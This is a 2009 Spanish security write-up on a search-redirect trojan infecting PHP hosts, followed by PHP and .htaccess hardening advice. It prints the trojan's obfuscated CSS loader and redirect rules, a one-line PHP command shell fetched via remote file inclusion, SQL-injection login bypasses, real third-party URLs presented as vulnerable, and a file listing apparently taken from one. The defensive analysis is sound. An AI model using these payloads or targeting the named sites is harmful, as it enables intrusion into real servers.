#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
+ attacked by te hijacking blog +
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
# #
# Author: Daniel Calvo Castro #
# Year : 2009 #
# #
# #
########################################################
Trojan.Redirector.E
JS:Redirector-B [Trj]
_______
[ txt creado joe formato iso-8859-15 75 columnas]
Se recomienda vi / joe GNU\Linux para leerlo
1.0 - Introduccion al problema
1.1 - Composicion del troyano
1.2 - blog.htm
1.3 - check.js
1.4 - dummy.htm
1.5 - t.htm
2.0 - Tipos fichero infectados
- css
- js
3.0 - .htaccess modificado
4.0 - Cuidado con ... Tiny PHP-sec
4.1 Errores basicos al programar en php
4.2 Evitando accesos indeseados
4.3 Evitando XSS y SQL-Inject mediante .htaccess
4.4.1 php.ini [ Something about it ]
- register_globals on/off
- allow_url_include / allow_url_fopen
4.4.2 php.ini [ flags en .htaccess ]
4.4.3 Un poco de seguridad en nuestro CMS
4.4.4 Alguna cosa mas
= 1.0 = [Introduccion al problema] ========================================
Hoy en dia las continuas amenazas del malware que nos rodean en la red se
estan volviendo bastante sofisticadas, pretendo comentar en este texto
hasta donde he podido profundizar, como funciona este especimen
troyano-spammer, que afecta y como minimizar su impacto en la medida de
lo posible para servidores php y hosting mal configurados,phpBB,etc...
un troyano que aunque desconocido afecta a muchos servidores repartidos
world-wide.
Tengo que aclarar que este texto ha sido creado a traves de una
experiencia personal en las siguientes condiciones, y que no pretende ser
una solucion definitiva al respecto, sino una manera de exponer algo con lo
que me he encontrado y de la cual no existe una fuente de informacion en
spanish sobre la que buscar, exponiendo algunos metodos de ataque
utilizados, y algunos metodos para atajarlos, este doc sigue abierto a
por supuesto correcciones y posteriores nuevas versiones, siendo el
escenario el siguiente :
- Portal alojado en hostmonster (shared + php + mysql )
- Mismo propietario/grupo para todos los ficheros de public_html
- Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
- Safe-Mode: off
- magic_quotes_gpc on
- allow_url_fopen on
- allow_url_include on
- Acceso mediante cmdshell, acceso ssh deshabilitado por defecto
Los servidores comprometidos muestran un contenido diferente al original
dependiendo de si se accede a ellos directamente o a traves de un motor de
busqueda, entre ellos Google,yacom,Live.com,orange,terra,click,freenet...
De manera que si accedemos normalmente se muestra legible el contenido,
aunque las imagenes pueden dejar de funcionar, aunque eso se comentara
despues, pero si lo hacemos a traves de google, apuntara hacia un blog,
y el navegador es posible que abajo a la izquierda muestre que se intenta
conectar tb a 58.22.101.120, que si consultamos... :
own@box:~$ whois 58.22.101.120
% [whois.apnic.net node-2]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
inetnum: 58.22.100.0 - 58.22.103.255
netname: CNCGROUP-FJ-FUZHOU-IDC
country: CN
descr: Fuzhou city, fujian provincial network of CNCGROUP
admin-c: FZ165-AP
tech-c: FZ165-AP
status: ALLOCATED NON-PORTABLE
changed: chenmin_deletethispart_@china-netcom.com 20071008
mnt-by: MAINT-CNCGROUP-FJ
mnt-lower: MAINT-CN-FZ28
source: APNIC
route: 58.22.0.0/15
descr: CNCGroup CHINA169 FuJian province network
country: CN
origin: AS4837
mnt-by: MAINT-CNCGROUP-RR
changed: abuse@cnc-noc.net 20060330
source: APNIC
Se puede comprobar que el servidor remoto proviene en teoria de China,
aunque esto no nos muestra informacion fiable porque puede ser una makina
usada para tales efectos, pudiendo ser mi vecino.
Que los servers sean objeto de este ataque viene dado por agujeros de
seguridad como RFI, LFI o Blind SQL Inject por ejemplo, derivado de la
programacion no segura en nuestras consultas a bdd MySQL, formularios,etc,
cualquier bug que permita tener un acceso con el que poder ejecutar
comandos tanto manualmente o a gran escala,pudiendo ser victima cms
como wordpress,joomla,etc.
= 1.1 = [ Composicion del troyano ] ======================================
Se conforma, en principio de 5 ficheros :
own@box:~/somesite.com/singles/nefasto/vole$ ls -shal
4,0K drwxr-xr-x 3 root root 4,0K ene 18 22:26 .
4,0K drwxr-xr-x 3 root root 4,0K ene 18 22:26 ..
36K -rw-r--r-- 1 own own 36K ago 15 16:01 blog.htm
4,0K -rw-r--r-- 1 own own 1,2K ago 15 16:01 check.js
4,0K -rw-r--r-- 1 own own 658 ago 15 16:01 dummy.htm
4,0K drwxr-xr-x 2 own own 4,0K ene 18 22:26 ex3
4,0K -rw-r--r-- 1 own own 637 ene 18 22:26 index.html
own@box:~/somesite.com/singles/nefasto/vole/ex3$ ls -shal
4,0K -rw-r--r-- 1 own own 524 ene 18 22:26 index.html
36K -rw-r--r-- 1 own own 36K ago 15 16:01 t.htm
= 1.2 = [ blog.htm ] ===================================================
Contiene el codigo html de la pagina a la cual somos redireccionados.
Tambien es posible que nos lleve a la siguiente direccion
http://yourstabilitysystem.com/download.php?affid=08012 , desde la cual
intenta hacernos creer mediante ingenieria social que nuestro sistema
esta infectado y necesitas instalar un antivirus mediante la descarga
del fichero install.exe, intentando antes aprovechar alguna vulnerabilidad
del explorador para hacer lo mismo de manera que el usuario ni se de cuenta,
como siempre, ni CASO.
Los usuarios de InternetExploter han sido en el tiempo los mas asediados
por este tipo de vulnerabilidades, pero Mozilla no se salva tampoco, hay
que mantenerse actualizado, o usar otra cosa, que, no , sea, windows.. =)
= 1.3 = [ check.js ] ==================================================
Este fichero contiene codigo javascript que comprueba la
propiedad referrer del navegador, si coincide con uno de los senialados
motores de busqueda el explorador es redireccionado al "Hijacking Blog"
if ( (Math.random()*60 < JSS1) &amp;amp;&amp;amp;
document.referrer.match(/^http:\/\/([a-z0-9_\-]+\.)*(google|msn|yahoo|
live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|allt
heweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|ali
ce|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\./)&amp;amp;&amp;amp;do
cument.referrer.match(/[?&amp;amp;](q|query|qs|searchfor|search_for|w|p|r|key|
keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=/)&amp;amp;
&amp;amp;!document.referrer.match(/[?&amp;amp;](q|query|qs|searchfor|search_for|w|p|r|
key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\
=[^&amp;amp;]+(%3A|%22)/)
){
!location.href=JSS3+'?r='+encodeURIComponent(document.referrer)+'&amp;amp;s='+JSS2;
};
= 1.4 = [ dummy.htm ] =================================================
Intenta clickar a los elementos con id 'hr' ( auto click a blog.htm)
y por si falla, prueba otra redireccion.
<script type="text/javascript">// <![CDATA[
try {
document.getElementById('hr').click()
} catch(e) {
location.href='blog.htm'
}
// ]]></script>
= 1.5 = [ ex3/t.htm] =====================================================
Pagina index como blog.htm que al abrirla nos tira suciedad tipica como
Your system is infected by... buy now..
= 2.0 = [ Tipos de fichero infectados ] ================================
Una vez que ha conseguido hacerse un hueco en el server afectado infecta
todos los .js y la mayoria de .css, insertando codigo malicioso en todos y
cada uno de ellos, como ejemplo aleatorio stilo.css
.concierto_on
{
font-color=#CCCCCC;
}
.concierto_off
{
font-color=#EEEEEE;
}
A simple vista nothing wrong pero si bajamos por el ficherito...
* a0b4df006e02184c60dbf503e71c87ad */
body { margin-top:
expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%4
5%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%2
0%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%37%32%33%37%34%38%3B%20%4A%53%53%33%20%
3D%20%27%2F%73%69%6E%67%6C%65%73%2F%73%69%6E%67%6C%65%73%2F%50%65%72%72%61%76%65%72
%64%65%2F%76%6F%6C%65%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3
D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%
72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63
%27%2C%20%27%2F%73%69%6E%67%6C%65%73%2F%73%69%6E%67%6C%65%73%2F%50%65%72%72%61%76%6
5%72%64%65%2F%76%6F%6C%65%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%
41%74%74%72%69%2%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%
75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27
%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6
A%73%29%20%7D%3B%20')))
}
/* a995d2cc661fa72452472e9554b5520c */
Lo primero es una ristra md5 que identifica al server como vulnerable y lo
segundo esta codificado en ASCII que al cambio:
body { margin-top:
expression(eval(unescape('if (!document.getElementById('JSSS')){ JSS1 =
59; JSS2 = 2723748; JSS3 = '/singles/singles/nefasto/vole/dummy.htm';
var js = document.createElement('script'); js.setAttribute('src',
'/singles/singles/nefasto/vole/check.js'); js.setAttribute('id',
'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };
'))) }
= 3.0 = [ .htaccess modificado ] =======================================
El fichero .htaccess tambien es editado y el siguiente code insertado:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo
|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|
alltheweb|enet|abacho|wanadoo|free|club-internet|aliceadsl|skynet|ya|
orange|clix|terra|vista|gratis-ting|suomi24)\. [NC]
RewriteCond %{HTTP_REFERER}
[?&amp;amp;](q|query|qs|searchfor|search_for|w|p|r|key|
keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=
RewriteCond %{HTTP_REFERER} \=[^&amp;amp;]+(%3A|%22)
RewriteCond %{TIME_SEC}RewriteRule ^.*$ /singles/singles/nefasto/vole/ex3/t.htm [L]
Como vemos, esto es lo que hace es aprovechar el referer,es decir,
al buscar desde google la propiedad referer de nuestro navegador
toma forma y se identifica como google,y hace que salte hacia el blog
indicado, aparte de nuestra ristra md5. Es parecido al spam de referer
pero en este caso mas sofisticado.
Todo esto a pleno rendimiento tiene como consecuencia lo que hablaba
al principio del documento.
= 4.0 = [ Cuidado con... Tiny PHP-sec ] ==================================
En foros phpBB hay que tener cuidado con los LFI que permiten hacer upload
de scripts php como jpg,gif o png, ya que incluso se pueden editar
hexadecimalmente los bytes destinados a comentarios de una foto para
incluir codigo y ejecutarlo en el servidor, p.e :
&amp;amp;nbsp;
Esa linea seria suficiente para crear un RFI,en el caso de poder hacer
upload mediante LFI aniadiendo esa linea al comentario de un jpg..
Para solucionar el problema NO basta con borrar los ficheros infectados
y retirar el codigo insertado tanto en .js como en .css ni asignar los
permisos correctamente (0711),ya que al poco tiempo estariamos igual, ya
que si no eliminamos el hole de nuestro codigo php se podra acceder de
nuevo,y en el caso de que el user con el que accedas sea el mismo
propietario de los ficheros, estos pueden ser reeditados...y vuelta a
empezar.
A continuacion voy a explicar brevemente uno de los errores mas comunes
que permiten lo que conocemos como php-injection,aclarar que no soy
programador avanzado :
= 4.1 = [ Errores basicos al programar en php ] =====================
Este fichero hole.php es el escenario tipico de sitios creados
dinamicamente con php cuya pagina principal, index.php comunmente,
reciben links a traves de la URL, ejemplo:
http://www.holesite.com/index.php?a=foo
http://www.holesite.com/index.php?a=bar
http://www.holesite.com/index.php?a=cisco
De manera que un index.php de un site vulnerable seria :
<?
// Name: index.php
$x = $_GET['a'];
include $x.".php";
?>
Esto lo que hace es que el valor $x .php se pasa a traves
de la URL como 'a'. A partir de ahi ya se puede hacer una peticion
con URL manipulada de la siguiente manera:
http://www.holesite.com/index.php?a=http://somesite.com/haxor/evil.jpg?
Y ejecutar en el servidor holesite.com un script que le pasamos a la
variable 'a' como si fuera una imagen jpg que en realidad esconde
codigo php, lo cual os puede hacer una idea del alcance de la vuln,
ya que de esta manera se podrian ejecutar comandos,llegando a poder
tener acceso al user/pwd de la bdd en MySQL,o un bot
en perl con los que en el caso de ser un ataque masivo se podria llegar
a montar una botnet zombie bastante grande desde la que manejar los
servidores afectados (DDoS), o que evil.jpg? sea un script que crea un
fichero local en el server con la ristra md5 como la que tenemos, asi
desde una tool automatica hacer peticiones GET a dicho fichero para saber
si sigue siendo vulnerable...e incluso llegar a conseguir root en el server
alojado, este es el metodo basicamente.
Ej webs vulnerables a RFI:
http://wingsart.ru/gstbook/templates/errors.php?error=[cmdshell]
http://www.pflegedienst-meiners.de/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=[cmdshell]
http://www.oevp.info/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=[cmdshell]
http://www.neurologist.ru/index.php?_REQUEST=&amp;_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path=[cmdshell]
http://www.hostingwell.com/~aussiega/directory/defaults_setup.php?ROOT_PATH=[cmdshell]
Y asi miles. Existen multitud de cmdshells in the wild(r57,c99...) y no es el proposito
de este doc darlas a conocer, pero para dar una idea, nuestro cmdshell
casero podria llamarse firekid.txt y contener los siguiente:
<?
system($cmd);
?>
De tal manera que para un simple listado de ficheros del servidor
http://www.holesite.com/vulnpath/vuln.php?vulnvar=http://www.myevilsite.com/firekid.txt?&amp;&amp;cmd=ls
-------------------
www.hostingwell.com :
-------------------
total 600
91030232 drwxr-xr-x 18 aussiega aussiega 2048 Apr 30 2008 .
91029832 drwxr-x--- 53 aussiega nobody 2048 Sep 2 2008 ..
91035844 -rw-r--r-- 1 aussiega aussiega 1274 Dec 7 2005 .htaccess
91035846 -rwxr--r-- 1 aussiega aussiega 2793 Dec 7 2005 adduser.php
91035848 -rwxr--r-- 1 aussiega aussiega 37045 Feb 9 2006 agreement.htm
91035850 -rwxr--r-- 1 aussiega aussiega 4305 Dec 7 2005 alpha.php
91035852 -rwxr--r-- 1 aussiega aussiega 16328 Dec 7 2005 auth.php
91030234 drwxr-xr-x 2 aussiega aussiega 2048 Dec 21 2005 backup
91030236 drwxrwxrwx 2 aussiega aussiega 2048 Feb 5 04:04 banner
91035854 -rwxr--r-- 1 aussiega aussiega 6972 Dec 7 2005 banner.php
91030238 drwxrwxrwx 2 aussiega aussiega 2048 Jan 23 08:10 banner2
91035862 -rwxr--r-- 1 aussiega aussiega 2457 Dec 7 2005 categorylist.php
91035864 -rwxr--r-- 1 aussiega aussiega 5122 Dec 7 2005 check_payment.php
91035866 -rwxr--r-- 1 aussiega aussiega 5820 Dec 7 2005 chooselisting.php
91035868 -rwxr--r-- 1 aussiega aussiega 28879 Dec 7 2005 compare.php
91035870 -rwxr--r-- 1 aussiega aussiega 5179 Dec 7 2005 contact.php
91035872 -rw-rw-rw- 1 aussiega aussiega 38 Apr 30 2008 counter.txt
91030240 drwxr-xr-x 4 aussiega aussiega 2048 Dec 8 2005 cp
268533824 -rwxr--r-- 1 aussiega aussiega 3746 Apr 30 2008 cron.php
91035956 -rwxr--r-- 1 aussiega aussiega 855 Dec 7 2005 debug.php
91035958 -rwxr--r-- 1 aussiega aussiega 2804 Apr 30 2008 defaults.php
268533828 -rwxr--r-- 1 aussiega aussiega 3067 Apr 14 2008 defaults_setup.php
91030246 drwxr-xr-x 2 aussiega aussiega 2048 Dec 7 2005 docs
91030248 drwxrwxrwx 2 aussiega aussiega 2048 Dec 7 2005 documents
= 4.2 = [ Evitando accesos indeseados ] =============================
En esta seccion he tratado de reproducir por que se produce y como
se podria identificar una vulnerabilidad RFI, y lo mas interesante como tratar
de solucionar y sanar el codigo con ejemplos reales para evitar los ataques.
Sabemos que para reproducir un ataque RFI necesitamos que una variable no este
definida, esto esta muy bien,pero veamos un ejemplo :
--------
1024 CMS --------
milw0rm ID: 8003
Found by JoSs
En el fichero /themes/default/layouts/standard.php se observa la siguiente
porcion de codigo vulnerable a RFI:
<!--?php <br ?--> // $page_include = deberia estar definida;
if($page_ck['custom'] == 'N' || isset($page_include)) {
if(!isset($page_include)) include("./pages/".$page."/default/content.php");
else include($page_include);
} else {
[...]
Como observamos, $page_include no esta definida, de manera que el sistema
no sabe que tipo de informacion contiene,sabe que la recogera por url
y ahi es donde se produce la vulnerabilidad de la aplicacion.
$ http://localhost:8080/themes/default/layouts/standard.php?page_include=http://www.marca.es
Y leeremos el marca a traves de tu servidor, si no defines $page_include =)
[ ... ]
-----------------------------
PHP+MySQL Login SQL Injection
-----------------------------
<?PHP
// Iniciar sesionn
session_start();
// Si se ha enviado el formulario
if (isset($_REQUEST['usuario']) && isset($_REQUEST['clave']))
{
$usuario=$_REQUEST['usuario'];
$clave=$_REQUEST['clave'];
// Comprobar que el usuario esta autorizado a entrar
$conexion = mysql_connect ("localhost", "r00t", "fast")
or die ("No se puede conectar con el servidor");
mysql_select_db ("mibdd")
or die ("No se puede seleccionar la base de datos");
$salt = substr ($usuario, 0, 2);
$clave_crypt = crypt ($clave, $salt);
$instruccion = "select usuario, clave from administracion where
usuario = '$usuario'" .
" and clave = '$clave_crypt'";
$consulta = mysql_query ($instruccion, $conexion)
or die ("Fallo en la consulta");
$nfilas = mysql_num_rows ($consulta);
mysql_close ($conexion);
// Los datos introducidos son correctos
if ($nfilas > 0)
{
$usuario_valido = $usuario;
session_register ("usuario_valido");
}
}
?>
Este es un sistema de logueo basico en php+mysql, la sentencia SQL que se
ejecutaria en la bdd seria
SELECT usuario, clave from administracion where usuario = '$usuario'" " and
clave = '$clave_crypt'";
El sistema comprobaria en la bdd que $usuario se corresponde con el pass
encriptado en la bdd, en este caso $crypt usa DES y guardara un hash del
tipo xSkjMnsUj, si da como resultado 1 ( true ), nos dejara pasar.
Ahora es donde entra en juego la inyeccion, si nosotros intuimos,o sabemos,
que existe un usuario valido, pero no sabemos su password,podriamos jugar
con el formulario de validacion y hacer la siguiente consulta:
SELECT usuario, clave from administracion where usuario = 'admin'" " and
clave = '' OR ''='";
De lo que se trataria es de engañar a la bdd ya que no valida correctamente
lo que se le inserta, de tal manera que el sistema, con esa consulta, pensaria:
- vale, admin esta en la bdd
- vale,la contraseña no la sabes, pero '' OR ''=' significa que NADA OR
NADA = NADA, por lo tanto, true.
- Te dejo pasar
Login: admin
Password: ' OR ''='
Welcome to the administration page =)
Esto se evitaria ( en primera instancia ) usando funciones del tipo mysql_real_scape_string, de manera que
una consulta algo mejor hecha seria de la siguiente manera:
$instruccion("SELECT * FROM administracion WHERE usuario='%s' AND
clave='%s'",
mysql_real_escape_string($usuario),
mysql_real_escape_string($clave_crypt));
?>
Para evitar dichos accesos al servidor, como medida de choque se pueden
añadir los siguientes codigos en nuestros php,NO dejan de ser un parche ya que
trato de informar y minimizar riesgo, y no deja de ser una experiencia
personal, lo correcto seria sanar todo el codigo del arbol web:
<?
Header("X-Powered-by: safe_http");
if(preg_match("/http:/i",
urldecode(getenv("REQUEST_URI").getenv("QUERY_STRING"))))
{
Header( "HTTP/1.1 503 Service temporally unavailable" );
exit;
}
?>
Este script al principio de nuestros php impediria que se carguen enlaces
externos, un poco de cemento no viene mal.
= 4.3 = [ Modificaciones .htaccess ]
.htaccess es blanco habitual de este tipo de ataques, y utilizandolo
correctamente, podemos ahorrarnos males mayores teniendo algo como
esto
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /------------http----------- [F,NC]
RewriteRule http: /---------http----------- [F,NC]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(-|\.|') [OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)(<|>|%3C|%3E)(.*) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget)(.*) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)(libwww-perl|libwwwperl|snoopy|curl|wget|winhttp|python|nikto|scan)(.*) [NC,OR]
RewriteCond %{REQUEST_URI} ^(/,|/;|/<|/>|/'|/`|/%2C|/%3C|/%3E|/%27|/////) [NC,OR]
RewriteCond %{HTTP_REFERER} ^(.*)(%00|%08|%09|%0A|%0B|%0C|%0D|%0E|%0F|%2C|<|>|'|%3C|%3E|%26%23|%27|%60)(.*) [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)('|-|<|>|,|/|\\|\.a|\.c|\.t|\.d|\.p|\.i|\.e|\.j)(.*) [NC,OR]
RewriteCond %{HTTP_COOKIE} ^(.*)(<|>|'|%3C|%3E|%27)(.*) [NC]
RewriteRule .* - [F]
Con estas reglas nos evitaremos escaneos indeseados por parte de
herramientas automatizadas potentes como nikto, ademas de inhabilitar
wget o curl.. herramientas de sobra conocidas, ademas de evitar
algunos tipos simples de ataques XSS o SQL Injection, un ejemplo
de peticiones que deberian ser bloqueadas son tales como :
XSS:
http://www.holesite.com/,;<>'`
http://www.holesite.com/archivo.php?var=">abc<
http://www.holesite.com/archivo.php?var=<script>abc
http://www.holesite.com/archivo.php?var=javascript:abc
SQL:
http://www.dominio.com/archivo.php?var=;
http://www.dominio.com/archivo.php?var='
http://www.dominio.com/archivo.php?var="
Fácilmente eludible con otras codificaciones de caracteres, pero menos es nada.
= 4.4.1 [ php.ini something about it ] ============================
Como sabemos este fichero nos permite establecer una serie de directivas
que marcaran el funcionamiento del mismo y que obligara, en funcion de como
queramos que funcione, a adaptar nuestra programacion, cosa que mas de uno
deberia de tener en cuenta, estas son algunas de las directivas que podemos
utilizar, a sabiendas de:
- php.ini register_globals on/off?
Esta directiva esta en off desde php 4.2.0, y en la 4.2.3
paso de ser directiva de tipo PHP_INI_ALL a PHP_INI_PERDIR.
Su uso no hace insegura una aplicacion, sino el uso inapropiado
de ella al programar, y nos obliga a no usar matrices globales
para valores pasados por GET y POST.
- php.ini allow_url_include / allow_url_fopen on/off?
Estas dos directivas pueden ser utiles ya que nos permiten
impedir que se le pasen parametros externos pero OJO solo
para los protocolos http y ftp, no para php y data, de manera
que si hacemos una peticion en base64 se la tragaria tambien el
servidor,algunos exploits actuales se aprovechan de esta circunstancia.
Ej: <? [...] include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+" ?>
<? [...] include "php://evilscript;"
Aun con esas directivas activas, se le podrian pasar parametros
externos si bien deben estar transcritos a base64 para que el servidor
se lo trague, como se muestra el ejemplo anterior.
= 4.4.2 [ php.ini - flags en .htaccess ] ===========================
Como medidas de apoyo en .htaccess podemos:
- Setear variables de php.ini en dicho fichero
php_flag display_errors Off - No muestre errores
php_flag log_errors On - Los registra
php_value error_log "/path/to/file" - fichero donde lo guarda
= 4.4.3 = [ Un poco de seguridad en nuestro CMS ] ===============
Los CMS ( Drupal, Joomla,oscommerce,etc) presentan una solucion
Open Source muy interesante, pero a la vez esta sometida a continuos
ataques y bug researching para acceder a informacion sensible.
La mayoria cuentan con un directorio de administracion, el cual
se deberia cambiar automaticamente al instalarlo, esto es, para
oscommerce en el fichero /catalog/include/configure.php las directivas
define('DIR_WS_ADMIN', '/nuevacarpeta/');
define('DIR_FS_ADMIN', '/home/user/public_html/nuevacarpeta/');
Solo con esto nos ahorraremos los ataques con herramientas basados
en busquedas mediante Google con scripts que apuntan a los directorios
predeterminados (google dork: inurl:/catalog/admin.php/ -> ejemplos.
Para mayor seguridad, deberiamos tambien revisar el codigo de los ficheros
php de nuestro CMS para evitar dar informacion que no interesa al atacante,
o en este caso a un script automatizado, como puede ser el caso de los
ficheros de login.
Ejemplo:
/catalog/admin/login.php
<title><?php echo TITLE; ?></title>
Esa sentencia muestra por pantalla de titulo en el explorador que CMS
estamos usando, su version, etc, OScommerce Online Merchant 2.2...
Tal sentencia se encuentra en numerosos ficheros, conviene eliminarlas.
Otra manera de proteger nuestro directorio de administracion es
mediante .htaccess y htpasswd asignando una contraseña de apache
al directorio que nos pedira al ingresar.
Una buena solucion tambien es la de permitir solo acceder a nuestro
directorio de administracion desde una direccion IP en concreto, pero
¿ como hacemos eso ? de nuevo mediante .htaccess colocado en el directorio
a proteger, ejemplo:
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP_HOST} ^myweb.es [NC]
RewriteRule ^(.)$ http://myweb.es [L,R=301]
<Limit GET>
Order Deny,Allow
Deny from all
Allow from xxx.xxx.xxx.xx
</Limit>
Ahi seteariamos nuestra IP y listo, ahi surge el problema, hablamos
de que tenemos IP dinamica, ¿ y cuando se nos cambie la ip ? No podremos
acceder, y apache no permite que insertemos un host del tipo dynamicdns.org
en la configuracion antes mostrada.
Esto lo solucionaremos mediante un script en bash, y crontab.
#!/bin/bash
#######################################################
#
#
# Pellejero-dyndns-script v0.01b
# @vanNistelroot
# kernel-security #
# Actualiza fichero .htaccess a partir de configuracion
# dyndns para que solo sea accesible nuestro server
# desde nuestra IP publica ;)
######################################################
rm /home/user/public_html/directorioproteger/.htaccess
nslookup b031ng.dyndns.org|grep 83*|awk {'print $2'} >> b031ng-ip
ip=`sed -n 1p b031ng-ip`
echo $ip >> nslookup-ip
echo "Options +FollowSymLinks" >> /home/user/public_html/directorioproteger/.htaccess
echo "RewriteEngine On" >> /home/user/public_html/directorioproteger/.htaccess
echo "RewriteCond %{HTTP_HOST} ^myweb.es [NC]" >> /home/user/public_html/directorioproteger/.htaccess
echo "RewriteRule ^(.)$ http://myweb.es$1 [L,R=301]" >> /home/user/public_html/directorioproteger/.htaccess
echo "<Limit GET>" >> /home/user/public_html/directorioproteger/.htaccess
echo "Order Deny,Allow" >> /home/user/public_html/directorioproteger/.htaccess
echo "Deny from all" >> /home/user/public_html/directorioproteger/.htaccess
echo "Allow from $ip" >> /home/user/public_html/directorioproteger/.htaccess
echo "</Limit>" >> /home/user/public_html/directorioproteger/.htaccess
rm b031ng-ip
-EOF-
Como vemos, el script es muy simple, y aunque es muy susceptible de mejorar
para explicar el concepto nos vale, tan solo tendremos que crearnos una cuenta
en dyndns.org, colocar el script fuera del arbol web, y ejecutar una tarea en
crontab para que lo ejecute digamos una vez al dia, esto se hace de la siguiente
manera, se crea un fichero normal de texto ( tarea_crontab ):
# Ejecuta el script de actualizacion de .htaccess 1 vez al dia
#
0 0 * * * /home/user/vrootdns.sh
Lo guardamos y ejecutamos:
$ crontab -e tarea_crontab
Listo ! Cada dia se actualizara nuestra IP al fichero .htaccess y solo nosotros
podremos acceder al directorio de administracion.
= 4.4.4 = [ Alguna cosa mas ] ======================================
- Revisar los logs de acceso de apache (a!, que aun no lo haces?),
ahi se puede encontrar todo tipo de intentos de ataque hacia nuestro server
pudiendo comprobar de que direccion viene,y que intentan...
google dork: inurl:/log/access.log -> more examples
- Hacer una lista de denegacion de ips de posibles spammers *
order allow,deny
deny from 83.x.x.x
deny from 89.35.x
allow from all
- http://tools.dynamicdrive.com/userban/
Genera las directivas automaticamente insertando las ips
- Creando errores de apache personalizados con la siguiente directiva
ErrorDocument 404 /404.php
ErrorDocument 403 /403.php
Con esto podemos jugar al despiste de un error de Forbidden mostrarlo
como url no encontrada.
= [ E-bliografia y enlaces de interes ] ==================================
http://insecure.org
http://www.phpsec.org
http://phpsecurity.org
http://www.php-es.com
http://hispasec.com
http://www.net-security.org
http://milw0rm.com
http://securitydot.net
http://shell-fu.org
http://packetstormsecurity.org
